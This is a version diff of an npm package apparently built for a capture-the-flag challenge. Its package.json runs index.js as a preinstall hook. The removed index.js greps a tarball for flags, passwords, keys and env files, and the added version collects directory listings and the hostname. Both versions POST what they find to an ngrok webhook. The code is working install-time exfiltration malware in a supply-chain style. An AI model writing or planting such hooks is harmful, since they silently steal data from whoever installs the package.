ect-987654-ctf 0.0.8 → 0.0.9

package/evil.yaml

@@ -1,6 +1,6 @@
 ecto_module:
   name: "ect-987654-ctf"
-  version: "0.0.7"
+  version: "0.0.8"
   power_level: Very High
   ship_deck: Beta-2
   cargo_hold: B2-13

package/index.js

@@ -1,145 +1,40 @@
-// index.js -- aggressive flag hunter for aspect-node.tar.gz
-// Writes JSON to your webhook with candidate matches (truncated)
-
-const { execSync } = require('child_process');
-const os = require('os');
-const util = require('util');
-
-const WEBHOOK = process.env.WEBHOOK || "https://0f6896f7cc8e.ngrok-free.app/";
-const TAR = "/home/node/aspect-node.tar.gz";
-const MAX_LINES = 200;
-const MAX_BYTES_SEND = 12000; // keep posted body small-ish
-
-function post(obj) {
-  try {
-    const body = JSON.stringify(obj);
-    const url = new URL(WEBHOOK);
-    const https = require('https');
-    const opts = {
-      hostname: url.hostname,
-      path: url.pathname,
-      method: 'POST',
-      headers: {
-        'Content-Type': 'application/json',
-        'Content-Length': Buffer.byteLength(body)
-      }
-    };
-    const req = https.request(opts, res => { /* noop */ });
-    req.on('error', () => {});
-    req.write(body);
-    req.end();
-  } catch (e) {
-    // best-effort only
-    try { console.error("post error:", e.message); } catch {}
-  }
-}
-
-function safeExec(cmd, opts = {}) {
-  try {
-    return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
-  } catch (e) {
-    return "";
-  }
-}
-
-function truncate(s, n) {
-  if (!s) return s;
-  if (s.length <= n) return s;
-  return s.slice(0, n) + "\n...[truncated]";
-}
-
-function findCandidates() {
-  // list all files from tarball
-  const listing = safeExec(`tar -tzf ${TAR} 2>/dev/null || true`);
-  if (!listing) return [];
-  const lines = listing.split(/\r?\n/).filter(Boolean);
-  return lines;
-}
-
-function isTextFileName(name) {
-  return /\.(txt|md|json|js|env|conf|cfg|ini|py|sh|pem|key|yml|yaml)$/i.test(name);
-}
-
-function grepPatternsForTextFile(entry) {
-  // Extract first N lines of the file and grep for likely flag patterns
-  const cmd = `tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} | egrep -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`;
-  return safeExec(cmd);
-}
-
-function catFirstLines(entry) {
-  return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
-}
-
-function stringsAndGrep(entry) {
-  // Extract file to stdout and pipe to strings/grep to find tokens
-  // We'll try to use 'strings' if available, otherwise grep -a
-  const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
-  return tryStrings;
+const https = require("https");
+const { execSync } = require("child_process");
+const os = require("os");
+
+const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
+
+function post(data) {
+  const body = JSON.stringify(data);
+  const url = new URL(WEBHOOK);
+  const req = https.request({
+    hostname: url.hostname,
+    path: url.pathname,
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(body)
+    }
+  });
+  req.write(body);
+  req.end();
 }
 
 try {
-  const host = os.hostname();
-  const all = findCandidates();
-
-  // Quick heuristic: search likely text files first
-  const textCandidates = all.filter(isTextFileName);
-  const hits = [];
-  for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
-    const match = grepPatternsForTextFile(f);
-    if (match) {
-      hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
-    }
-  }
-
-  // If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
-  if (hits.length === 0) {
-    // check top js/json files (by name)
-    const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
-    for (const f of jsCandidates) {
-      const match = grepPatternsForTextFile(f);
-      if (match) {
-        hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
-        if (hits.length >= 10) break;
-      }
-    }
-  }
+  // show current working dir and contents
+  const pwd = execSync("pwd", { encoding: "utf8" });
+  const ls = execSync("ls -lah", { encoding: "utf8" });
 
-  // If still nothing, run strings on the largest-looking files (heuristic names)
-  if (hits.length === 0) {
-    const binCandidates = all.filter(n => /aspect-node\.tar\.gz|node_modules\/|bin\/|_lib|\\.so$|\\.a$|node$|typescript|tsserver/i.test(n)).slice(0, 200);
-    for (const f of binCandidates) {
-      const match = stringsAndGrep(f);
-      if (match) {
-        hits.push({ file: f, match: truncate(match, 2000) });
-        if (hits.length >= 6) break;
-      }
-    }
-  }
-
-  // As fallback, check README / top-level files explicitly and send their first lines
-  const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
-  for (const p of fallbackFiles) {
-    if (all.includes(p)) {
-      const sample = catFirstLines(p);
-      if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
-    }
-  }
+  // also check if the aspect-node.tar.gz exists
+  const check = execSync("ls -lah /home/node | grep aspect-node || true", { encoding: "utf8" });
 
-  // Compose posting object: keep payload sizes reasonable
-  const payload = {
-    host,
-    checked_count: all.length,
-    hits: hits.slice(0, 12).map(h => {
-      // keep each entry small
-      return {
-        file: h.file,
-        match: h.match ? truncate(h.match, 2000) : undefined,
-        sample: h.sample ? truncate(h.sample, 2000) : undefined
-      };
-    })
-  };
+  post({
+    host: os.hostname(),
+    pwd,
+    ls,
+    check
+  });
 
-  post(payload);
 } catch (e) {
-  post({ error: String(e).slice(0, 2000) });
+  post({ error: e.message });
 }

package/last_post.json

@@ -1,5 +1,5 @@
 {
-  "host": "5eaf6475a249",
-  "files": "",
-  "flag": "no match yet"
+  "host": "2fbf820d20ba",
+  "checked_count": 0,
+  "hits": []
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ect-987654-ctf",
-  "version": "0.0.8",
+  "version": "0.0.9",
   "scripts": {
     "preinstall": "node index.js"
   }